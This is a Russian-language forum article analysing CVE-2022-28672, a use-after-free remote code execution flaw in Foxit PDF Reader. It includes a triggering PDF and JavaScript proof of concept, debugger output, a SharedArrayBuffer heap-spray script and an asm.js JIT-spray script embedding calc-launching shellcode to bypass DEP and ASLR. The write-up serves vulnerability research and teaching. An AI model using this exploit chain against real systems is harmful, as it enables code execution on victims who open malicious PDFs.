• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Foxit PDF Reader CVE-2022-28672 RCE: разбор уязвимости

Foxit-headpic.jpg

Интро

В этой статье расскажу об уязвимости, обнаруженной при оценке безопасности популярных программ для чтения PDF. На этот раз была обнаружена уязвимость use-after-free и несколько других багов в Foxit PDF Reader во время фаззинга. Мы смогли успешно использовать эту уязвимость для удаленного выполнения кода в контексте Foxit PDF Reader.

Об уязвимости

Эта уязвимость позволяет удаленно выполнить произвольный код на уязвимых Foxit PDF Reader. Для использования этой уязвимости требуется взаимодействие с пользователем, т.е. цель должна посетить вредоносную страницу или открыть вредоносный файл.

Foxit PDF Reader уязвима перед атакой use after free.
Уязвимость Use-After-Free (UAF) - это уязвимость типа повреждения памяти, которая может быть использована хакерами для выполнения произвольного кода. Если после освобождения участка памяти программа не очищает указатель на эту память, злоумышленник может использовать эту ошибку для взлома программы. Когда одна часть программы пытается использовать память, которую другая часть программы освободила, потому что она больше не нужна, приложение может аварийно завершить работу, выдать неожиданные результаты или даже позволить злоумышленнику выполнить произвольный код.

CVE ID

CVE-2022-28672

Vendor



Product

  • Foxit PDF Reader 11.1.0.52543 и младше

Screenshot-2022-12-16-223914.png

Crash State

Код:
(cbc.1a9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax = 00000002 ebx = 1c8bef98 ecx = 1c8bef98 edx = 00000000 esi = 24984fa8 edi = 104f8fd0
eip=015a4610 esp=0779a720 ebp=0779a740 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670:
015a4610 8b412c          mov     eax,dword ptr [ecx+2Ch] ds:002b:1c8befc4=????????

Быстрая проверка с помощью команды !heap показывает, что это уязвимость use-after-free.
Код:
0:000> !ext.heap -p -a @ecx
    address 26786f98 found in
    _DPH_HEAP_ROOT @ b9d1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   267f0138 : 26786000 2000                  
    6fbdab02 verifier!AVrfDebugPageHeapFree+0x000000c2
    76fbf766 ntdll!RtlDebugFreeHeap+0x0000003e
    76f768ae ntdll!RtlpFreeHeap+0x0004e0ce
    76f662ed ntdll!RtlpFreeHeapInternal+0x00000783
    76f28786 ntdll!RtlFreeHeap+0x00000046
    045e8fbb FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004e7e4b
    045c4f4f FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004c3ddf
    044d2b93 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003d1a23
    01c3a919 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00287979
    01c2de7b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027aedb
    01c2d0e6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027a146
    01c2c786 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002797e6
    01f40448 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0058d4a8
    ...

Proof of Concept

Тестовый пример включает статические поля формы в PDF и javascript action для манипулирования ими, что приводит к сбою.

Статичные PDF поля

Код:
5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_10)
/FT /Ch
/Rect [844 625 413 191]
/Opt [(FK2V7)]
/I [0 1]
/Ff 67379206
>>
throw in

6 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_12)
/FT/Ch
/Rect [553 60 781 220]
/ TU ( AVALAJX9P0 )
/TI 990
/I[01]
/ Ff 1743797713
>>
throw in

7 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_15)
/FT /Tx
/Rect [695 237 690 797]
/ TU ( XA225DZMOZ )
/ TM ( 86P4A4SWL7 )
/MaxLen 1002
/ V ( 5PLOVN0BG2TITMZ89VSATS7VAG94BYVK0TA3PKRRMSJCUFH7SF )
/Ff 45059
>>
throw in

Проблемный JavaScript

C++:
var f0 = this.getField("field_15");
var f1 = this.getField("field_12");


f1.setAction("Format", "callback7()");
this.getField("field_10").setFocus();


function callback0()
{
    f1.setItems([1]);  // invokes callback7 which frees block of memory
                       // stale memory access when callback0 ends
}
 
function callback7()
{
    this.deletePages(0);  // frees block of memory
}


f0.setAction("Calculate", "callback0()");
this.closeDoc(true);  // invokes callback0

Анализ первопричин

При попытке получить доступ к объекту по этому указателю происходит сбой.
C++:
int __thiscall sub_1734610(_DWORD *this)
{
  int v1; // eax
  bool v2; // cl


  v1 = this[11];  // CRASH while deferencing this pointer
  v2 = 0 ;
  if ( v1 )
    v2 = *(_DWORD *)v1 != 0;
  if ( v2 && v1 )
    return *(_DWORD *)v1;
  else
   return 0
}

Анализ трассировки стека показывает, что функция sub_1729070 аллоцирует объект Widget размером 0x64 при вызове метода setFocus на this.getField("field_10").setFocus() в JavaScript.
Эта аллокация происходит при вызове функции sub_1729070, которая возвращает объекты разного размера на основе проверки типа. В этом случае выполняется условие switch case 5, в результате чего возвращается объект размером 0x64.
C++:
int __thiscall sub_1729070(_DWORD *this, int a2, char a3)
{
    // ...
    // {
      if ( a3 )
      {
        switch ( sub_1A2DB10(a2) )
        {
          case 1:
            LOBYTE(v24) = 3;
            v25 = operator new(0x34u);
            LOBYTE(v24) = 4;
            if ( v25 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173BDC0(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 2:
            LOBYTE(v24) = 5;
            v26 = operator new(0x34u);
            LOBYTE(v24) = 6;
            if ( v26 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1736D60(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v21 = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 3:
            LOBYTE(v24) = 7;
            v27 = operator new(0x34u);
            LOBYTE(v24) = 8;
            if ( v27 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173CF80(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[5] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 4:
            LOBYTE(v24) = 13;
            v30 = operator new(0x54u);
            LOBYTE(v24) = 14;
            if ( v30 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1738240(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[2] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 5:
            LOBYTE(v24) = 11;
            v29 = operator new(0x64u);
            LOBYTE(v24) = 12;
            if ( v29 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173A6E0(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[3] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 6:
            LOBYTE(v24) = 9;
            v28 = operator new(0x6Cu);
            LOBYTE(v24) = 10;
            if ( v28 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_172E660(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[4] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          default:
            v4 = 0;
            v7 = 0;
            v22 = 0;
            break;
        }
      }
      // ...
  return v7;
}

Это можно проверить с помощью отладчика.

Код:
0:000> !ext.heap -p -a @eax
    address 256caf98 found in
    _DPH_HEAP_ROOT @ c911000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                25343444:         256caf98               64 -         256ca000             2000
          unknown!fillpattern
    6feda8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7723ef0e ntdll!RtlDebugAllocateHeap+0x00000039
    771a6150 ntdll!RtlpAllocateHeap+0x000000f0
    771a57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    771a53fe ntdll!RtlAllocateHeap+0x0000003e
    04608ccc FoxitPDFReader!_malloc_base+0x00000038
    043015ec FoxitPDFReader!void * __cdecl operator new(unsigned int)+0x0000002a
    01c492d1 FoxitPDFReader!sub_1729070+0x00000261
    01c4cb21 FoxitPDFReader!sub_172C7B0+0x00000371
    01f60781 FoxitPDFReader!sub_1A406B0+0x000000d1
    0118ac87 FoxitPDFReader!sub_C6A710+0x00000577
    ...

Функция closeDoc вызывает дескриптор вычисления для field_15. Внутри callback вычисления мы устанавливаем свойство items поля выбора field f1, которое имеет зарегистрированный callback формата. Установка свойства items вызывает его обратный вызов формата, который удаляет 0ую страницу и потенциально удаляет целевой объект.
Когда документ закрывается, вызывается функция sub_172B3A0.
C++:
char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2)
{
  v2 = this;
  v35 = this;
  sub_6970E0(&v37);
  v39 = 0;
  // sub_1729070 returns target object which was already created during setFocus
  v4 = sub_1729070(v2, (int)a2, 0);
  if ( v4 )
  {
    // indirect call which also triggers format callback
    if ( !(*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) )
    {
      sub_112B090(&v35, &v37);
      if ( v35 != (_DWORD *)v2[9] )
        sub_112AFB0(v31, v35);
LABEL_49:
      v15 = 0;
      // ...
    }
    // ...
  }
  // ...
}

Функция sub_1729070 возвращает целевой объект, который был создан ранее во время вызова setFocus. Затем этот объект передается в indirect call (*(unsigned __int8 (__thiscall **)(int, _DWORD ))((_DWORD *)v4 + 80))(v4, a2)).
Затем этот путь кода вызывает callback формата, зарегистрированный на field_12. В рамках callback'a формата целевой объект освобождается при вызове функции this.deletePages.
Функция sub_173A900 отвечает за освобождение целевого объекта размером 0x64, к которому позже обращается sub_1734610, вызывая аварийное завершение программы.
Код:
.text:0173A900 ; void *__thiscall sub_173A900(void *this, char)
.text:0173A900 sub_173A900     proc near               ; CODE XREF: sub_173A8EA+3↑j
.text:0173A900                                         ; DATA XREF: .rdata:off_48159CC↓o
.text:0173A900
.text:0173A900 arg_0           = byte ptr  8
.text:0173A900
.text:0173A900                 push    ebp
.text:0173A901                 mov     ebp, esp
.text:0173A903                 push    esi
.text:0173A904                 mov     esi, ecx
.text:0173A906                 call    sub_173A7E0
.text:0173A90B                 test    [ebp+arg_0], 1
.text:0173A90F                 jz      short loc_173A91C
.text:0173A911                 push    64h ; 'd'                                        ;; size
.text:0173A913                 push    esi                                              ;; ESI - target block
.text:0173A914                 call    sub_3FD2B88                                      ;; memory free call wrapper
.text:0173A919                 add     esp, 8
.text:0173A91C
.text:0173A91C loc_173A91C:                            ; CODE XREF: sub_173A900+F↑j
.text:0173A91C                 mov     eax, esi
.text:0173A91E                 pop     esi
.text:0173A91F                 pop     ebp
.text:0173A920                 retn    4
.text:0173A920 sub_173A900     endp

Эксплуатация

Если мы можем контролировать и перераспределять аллокацию того же размера, мы можем получить прямой контроль над выполнением кода, используя инструкцию call внутри sub_172ADA0. Это показано ниже:
Код:
eax=41414141 ebx=0e847e88 ecx=0e8c7960 edx=00000000 esi=0e8c7960 edi=00000002
eip=01c2ade1 esp=080fa8dc ebp=080fa910 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x277e41:
01c2ade1 ff5074          call    dword ptr [eax+74h]  ds:002b:414141b5=????????

Следующий скрипт может быть использован для подбора кучи для аварийного завершения процесса Foxit Reader в контролируемом месте. Во время тестирования было обнаружено, что поддержка ArrayBuffer была отключена в Foxit Reader. Вероятно, это сделано в качестве превентивной меры для предотвращения эксплуатации с использованием распространенных эксплойтов javascript, таких как распыление кучи и out-of-bound read/write. Однако было обнаружено, что SharedArrayBuffer не отключен и может быть использован для той же цели.
В распыленных блоках памяти регистр eax указывает на начало буфера памяти, а indirect call по адресу 0x74 указывает на то, что это объект C++ внутри Foxit, где вызывается виртуальный метод. Это может быть использовано для выполнения произвольного кода в контексте процесса Foxit.
C++:
// spray memory allocations
function reclaim(size, count){
    for (var i = 0; i < count; i++) {
        sprayArr[i] = new SharedArrayBuffer(size);
        var rop = new DataView(sprayArr[i]);

        // control value for - call dword ptr [eax+74h]
        // first dword is pointer to the shellcode
        rop.setUint32(0, 0x41414141);

        for (var j = 4; j < rop.byteLength/4; j+=4) {
            rop.setUint32(j, 0x42424242);
        }
    }
}

function callback0()
{
    // trigger formatCallback on field 1
    f1.setItems([1]);

    // above call should free block of memory
    // we reclaim freed memory by heap spraying of fixed allocations
    reclaim(0x58, 0x1000);
    reclaim(0x68, 0x1000);
}

Тщательно контролируя процесс распыления кучи с помощью предоставленного скрипта, можно аварийно завершить работу Foxit Reader в определенном месте при вызове виртуального метода. Это позволяет злоумышленнику контролировать состояние объекта и потенциально выполнить произвольный код в контексте процесса Foxit.

Обход мер защиты

Data Execution Prevention (DEP)

Одним из способов обойти DEP и выполнить управляемый пользователем код в памяти является использование return-oriented programming (ROP). Это предполагает объединение в цепочки коротких последовательностей кода, называемых гаджетами, которые уже присутствуют в памяти программы. Тщательно выбирая гаджеты и располагая их в определенном порядке, можно выполнить произвольный код без необходимости прямого вызова распыленного шеллкода. Добиться этого бывает непросто, но существуют инструменты и ресурсы, помогающие в этом процессе.
Бага заключается в user-after-free объекта на куче, что позволяет нам вызывать произвольные адреса в памяти с помощью вызова виртуальной функции. Хотя распыление кучи с данными, контролируемыми пользователем, возможно, но память кучи не имеет прав на выполнение. Следовательно, мы не можем вызвать шеллкод, распыленный с помощью heap-spraying.
Чтобы обойти DEP, нам нужно иметь произвольный read/write примитив и цепь ROP для создания исполняемого диапазона памяти, которого у нас нет.

Control Flow Guard (CFG)

Control Flow Guard (CFG) - это техника защиты от атак, которая предназначена для предотвращения вызова злоумышленниками произвольных call sites. CFG используется для защиты indirect calls и присутствует в большинстве современных программ. Однако в случае с Foxit программное обеспечение не было скомпилировано с поддержкой CFG, что означает, что злоумышленники могут вызвать любой адрес памяти в адресном пространстве Foxit. Отсутствие поддержки CFG делает Foxit уязвимым для эксплуатации злоумышленниками.

Address Space Layout Randomization (ASLR)

В Foxit PDF Reader включена функция Address Space Layout Randomization (ASLR), что означает, что мы не можем использовать какие-либо жестко закодированные адреса в эксплойте для вызова шеллкода. Чтобы обойти ASLR, нам нужен какой-то примитив для утечки информации из кучи (info-leak), но у нас его нет.

JIT Spraying в помощь! Обход DEP, ASLR одновременно

Распыление JIT - это техника, которая может быть использована для одновременного обхода Data Execution Prevention (DEP) и Address Space Layout Randomization (ASLR). Foxit, популярная программа для просмотра PDF-файлов, поставляется с движком Google V8 javascript в качестве бэкенда для обработки javascript в PDF-файлах. Тестирование показало, что Foxit уязвим к распылению JIT.

JIT, или Just In Time Compilation, обычно используется в движках javascript для повышения производительности путем преобразования байткода javascript в код, специфичный для родной архитектуры. Для этого JIT-компилятор должен создать память с правами чтения-записи-и-исполнения для хранения скомпилированного кода. Существуют различные способы вызова JIT-компилятора в скриптовом движке.
rh0dev провел отличное исследование по распылению JIT, в частности, по использованию функции asm.js в javascript для распыления JIT. Эта техника позволяет злоумышленнику распылять закодированный шеллкод с помощью asm.js, позволяя обойти защиту DEP и ASLR.
  1. Github Repository
После нескольких попыток нам удалось создать JIT-spray для v8 внутри Foxit.
Код:
0:000> !address -f:PAGE_EXECUTE_READWRITE

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

  BaseAddr EndAddr+1 RgnSize     Type       State                 Protect             Usage
-----------------------------------------------------------------------------------------------
   c0000    c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  140000   145000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  1c0000   1c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  200000   205000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  280000   285000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  2c0000   2c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  300000   305000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    ...
18c40000 18c45000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c50000 18c55000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c60000 18c65000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c70000 18c75000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c80000 18c85000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18c90000 18c95000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18ca0000 18ca5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18cb0000 18cb5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18cc0000 18cc5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
18cd0000 18cd5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    ...
3fec0000 3fec5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
3ff00000 3ff05000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]

Мы можем подтвердить распыление шеллкода, посмотрев на основание любой аллокации над ним.
Код:
0:000> u 18ca0000
18ca0000 e97b470000      jmp     18ca4780
18ca0005 e956470000      jmp     18ca4760
18ca000a cc              int     3
18ca000b cc              int     3
18ca000c cc              int     3

Первый переход - к сгенерированному коду по адресу 18ca4780, который в нашем случае содержит наш закодированный шеллкод.
Код:
18ca4780 55           push    ebp
18ca4781 89e5         mov     ebp, esp
18ca4783 6a0a         push    0Ah
18ca4785 56           push    esi
18ca4786 8b7e17       mov     edi, dword ptr [esi+17h]
18ca4789 3927         cmp     dword ptr [edi], esp
18ca478b 0f83e5010000 jae     18ca4976
18ca4791 8b7e1b       mov     edi, dword ptr [esi+1Bh]
18ca4794 8b7f07       mov     edi, dword ptr [edi+7]
18ca4797 8b461f       mov     eax, dword ptr [esi+1Fh]
18ca479a 8b00         mov     eax, dword ptr [eax]
18ca479c 68a247b419   push    19B447A2h
18ca47a1 68909090a8   push    0A8909090h
18ca47a6 6831c990a8   push    0A890C931h
18ca47ab 686a3058a8   push    0A858306Ah
18ca47b0 68648b00a8   push    0A8008B64h
18ca47b5 688b400ca8   push    0A80C408Bh
18ca47ba 688b7014a8   push    0A814708Bh

Скрипт распыления JIT был удален для удобства чтения. Полный исходный текст можно найти в эксплойте на GitHub.
C++:
// spray calc.exe WinExec + ExitProcess shellcode
// VirtualAlloc of size 0x5000
function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
{
    var script = `
        function ${asmJsModuleName} (stdlib, ffi, heap){
            'use asm';
            var ffi_func = ffi.func;

            function ${payloadFuncName} () {
                var val = 0;
                val = ffi_func(
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa890d6ff|0,
                    0xa890006a|0,
                    0xa890d7ff|0,
                    0xa851056a|0,
                    0xa890e189|0,
                    //...
                    0xa83c538b|0,
                    0xa810588b|0,
                    0xa8ad96ad|0,
                    0xa814708b|0,
                    0xa80c408b|0,
                    0xa8008b64|0,
                    0xa858306a|0,
                    0xa890c931|0,
                    0xa8909090|0,
                    0x19b447a2|0,   //using predicated 19b40000 base
                )|0;
                return val|0;
            }
            return ${payloadFuncName};
        }

        function ${ffiFuncName} () {
            var x = 0;
            return x|0;
        }
        for (var f=0; f<0x10; f++) {
            asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0));
        };
    `;
    eval(script)
    // required to generate jit code
    asmJsModulesArr[asmJsModulesArr.length-1]();
}

// spray jit shellcode allocation
// 00005dbc: index to shellcode from the base of the virtualalloc
for (var jitcount=0; jitcount<3000; jitcount++) {
    sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);
}

В данном случае для выполнения шеллкода мы используем наилучшее обоснованное предположение 0x19b40000, где находится один из наших JIT-sprays.
Код:
0:025> u 19b40000
19b40000 e97b470000      jmp     19b44780
19b40005 e956470000      jmp     19b44760
19b4000a cc              int     3
19b4000b cc              int     3
19b4000c cc              int     3

В скрипте JIT-spray в качестве начальной точки для шеллкода используется жестко закодированный адрес, полученный из предполагаемого базового адреса 0x19b447a2|0, // использующего базу 19b40000. На этот адрес ссылается инструкция call, что можно проверить с помощью отладчика. Это позволяет нам выполнить шеллкод в известном месте памяти, обходя защиты DEP и ASLR.
Код:
0:025> ? 19b44729+74
Evaluate expression: 431245213 = 19b4479d

0:025> dd 19b4479d
19b4479d  19b447a2 90909068 c93168a8 6a68a890
19b447ad  68a85830 a8008b64 0c408b68 708b68a8
19b447bd  ad68a814 68a8ad96 a810588b 3c538b68

Выполнение шеллкода должно начинаться с 19b447a2. Это можно проверить в отладчике.
Код:
19b447a2 90         nop  
19b447a3 90         nop  
19b447a4 90         nop  
19b447a5 a868       test    al, 68h
19b447a7 31c9       xor     ecx, ecx
19b447a9 90         nop  
19b447aa a868       test    al, 68h
19b447ac 6a30       push    30h
19b447ae 58         pop     eax
19b447af a868       test    al, 68h
19b447b1 648b00     mov     eax, dword ptr fs:[eax]
19b447b4 a868       test    al, 68h
19b447b6 8b400c     mov     eax, dword ptr [eax+0Ch]
19b447b9 a868       test    al, 68h
...

Анализируя декодированный шеллкод, можно увидеть, что он содержит серию валидных инструкций, которые выполняют желаемые действия. Это указывает на то, что техника распыления JIT была успешной и позволила нам выполнить наш шеллкод в контексте процесса Foxit.

Итог

В заключение, данное исследование показывает, что если бы Foxit Reader был скомпилирован с поддержкой Control Flow Guard (CFG), то обнаруженную ошибку было бы сложнее использовать. Однако отсутствие поддержки CFG позволило злоумышленнику использовать распыление JIT для обхода существующих средств защиты, таких как ASLR и DEP. Это подчеркивает важность использования нескольких уровней защиты для защиты от атак.

POC


Demo

 
Последнее редактирование модератором:

Mark Klintov

Grey Team
23.07.2022
151
279
BIT
11
Полезная статья, спасибо за дословное объяснения принципа работы CVE. Продолжай в том же духе!
 
  • Нравится
Реакции: AFANX и szybnev
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!